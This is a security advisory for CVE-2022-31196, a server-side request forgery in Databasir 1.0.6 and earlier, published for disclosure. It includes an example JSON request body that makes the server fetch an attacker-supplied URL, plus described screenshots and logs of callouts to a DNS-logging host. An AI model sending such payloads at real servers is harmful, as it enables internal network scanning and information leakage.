

# Databasir SSRF

Moderate
vran-dev published GHSA-qvg8-427f-852q on Aug 29

## Package

No package listed

## Affected versions

`<=1.0.6`

## Patched versions

latest

## Description

### Impact

Databasir `<=1.0.6` has Server-Side Request Forgery vulnerability. The SSRF is triggered by a sending a **single** HTTP POST request to create a `databaseType`. By supplying a `jdbcDriverFileUrl` that returns a non `200` response code, the url is executed, the response is logged (both in terminal and in database) and is included in the response. This allows, for instance, attackers to obtain the real IP address and scan Intranet information.

### Patches

*Has the problem been patched? What versions should users upgrade to?*

### Workarounds

*Is there a way for users to fix or remediate the vulnerability without upgrading?*

### References

*Are there any links users can visit to find out more?*

### For more information

Example json payload for SSRF POST request to `/api/v1.0/database_types`

```

{
  "databaseType": "SSRFExploit",
  "jdbcDriverFileUrl": "<http url with malicious intent>",
  "icon": "/img/MariaDB.9e6854cc.svg",
  "description": "ssrfctest",
  "jdbcDriverClassName": "org.ssrf.jdbc.Driver",
  "jdbcProtocol": "jdbc:mariadb",
  "urlPattern": "{{jdbc.protocol}}://{{db.url}}/{{db.name}}",
  "isLocalUpload": false,
  "jdbcDriverFilePath": null
}

```

## Proof of vulnerability honeypot

The screenshot displays the Insomnia application interface on the left and a terminal window on the right. In Insomnia, a POST request is configured to `http://localhost:8080/api/v1.0/database_types` with a JSON body that includes a malicious `jdbcDriverFileUrl`. The response preview shows an error code of `"A_10018"` and a message: `"418 I'm a tea pot: \Some vulnerable information\""`. The terminal window on the right shows the execution of a Java application, with a log entry at the bottom confirming the exploit: `WARN 12480 --- [nio-8080-exec-6] c.d.api.advice.DatabaseExceptionHandlerAdvice : BusinessException, request: /api/v1.0/database_types, exception: 418 I'm a tea pot: "Some vulnerable information"`.

## DNS logging

The screenshot shows a web browser window with the DNSLog Platform interface. The URL is `http://localhost:8080/api/v1.0/database_types`. The interface displays a JSON response for a POST request. The response is a list of database types, including `SSRFExploit`, `jdbcDriverFileUrl`, `jdbcDriverClassname`, `jdbcProtocol`, `urlPattern`, `isLocalUpload`, and `jdbcDriverFilePath`.

Below the JSON response, there is a table titled "DNS Query Record" with columns "IP Address" and "Created Time". The table contains three entries for `b0uzd6.dnslog.cn` with creation times of 2022-07-27 17:09:29, 2022-07-27 17:09:28, and 2022-07-27 17:09:28.

In the bottom right corner, a terminal window shows a Java exception stack trace. The exception is `java.net.ConnectException: Connection refused (Connection refused)`. The stack trace includes the following frames:

```
Caused by: java.net.ConnectException: Connection refused (Connection refused)
    at java.base/java.net.PlainSocketImpl.socketConnect(Native Method) ~[na:na]
    at java.base/java.net.AbstractPlainSocketImpl.doConnect(AbstractPlainSocketImpl.java:412) ~[na:na]
    at java.base/java.net.AbstractPlainSocketImpl.connectToAddress(AbstractPlainSocketImpl.java:255) ~[na:na]
    at java.base/java.net.AbstractPlainSocketImpl.connect(AbstractPlainSocketImpl.java:237) ~[na:na]
    at java.base/java.net.Socket.connect(Socket.java:689) ~[na:na]
    at java.base/sun.net.NetworkClient.doConnect(NetworkClient.java:177) ~[na:na]
    at java.base/sun.net.www.http.HttpClient.openServer(HttpClient.java:474) ~[na:na]
    at java.base/sun.net.www.http.HttpClient.openServer(HttpClient.java:569) ~[na:na]
    at java.base/sun.net.www.http.HttpClient.<init>(HttpClient.java:242) ~[na:na]
    at java.base/sun.net.www.http.HttpClient.New(HttpClient.java:341) ~[na:na]
    at java.base/sun.net.www.http.HttpClient.New(HttpClient.java:362) ~[na:na]
    at java.base/sun.net.www.protocol.http.HttpURLConnection.getNewHttpClient(HttpURLConnection.java:1187) ~[na:na]
    at java.base/sun.net.www.protocol.http.HttpURLConnection.plainConnect(HttpURLConnection.java:1681) ~[na:na]
    at java.base/sun.net.www.protocol.http.HttpURLConnection.connect(HttpURLConnection.java:1635) ~[na:na]
    at org.springframework.http.client.SimpleBufferingClientHttpRequest.executeInternal(SimpleBufferingClientHttpRequest.java:76) ~[spring-web-5.3.17.jar!/:5.3.17]
    at org.springframework.http.client.AbstractBufferingClientHttpRequest.executeInternal(AbstractBufferingClientHttpRequest.java:48) ~[spring-web-5.3.17.jar!/:5.3.17]
    at org.springframework.http.client.AbstractClientHttpRequest.execute(AbstractClientHttpRequest.java:66) ~[spring-web-5.3.17.jar!/:5.3.17]
    at org.springframework.web.client.RestTemplate.doExecute(RestTemplate.java:776) ~[spring-web-5.3.17.jar!/:5.3.17]
    ... 136 common frames omitted
```

## Databasir logging

The screenshot shows the Databasir logging interface. The URL is `localhost:8080/settings/sysLog`. The interface displays a table of log entries with columns: "模块", "操作人", "操作", "状态", "错误信息", "涉及分组", "涉及项目", "涉及用户", and "记录时间".

模块	操作人	操作	状态	错误信息	涉及分组	涉及项目	涉及用户	记录时间	
11	database_type	Databasir Admin	创建数据库类型	失败	418 I'm a tea pot: "Some vulnerable information"	-	-	-	2022-07-27 09:15:39
10	database_type	Databasir Admin	创建数据库类型	失败	I/O error on GET request for "http://b0uzd6.dnslog.cn": Connection refused (Connection refused); nested exception is java.net.ConnectException: Connection refused (Connection refused)	-	-	-	2022-07-27 09:09:43

If you have any questions or comments about this advisory:

- Open an issue in [example link to repo](#)
- Email us at [example email address](#)

### Severity

Moderate

### CVE ID

CVE-2022-31196

### Weaknesses

CWE-918

---

Credits

 ThomasTNO

 stefanberg96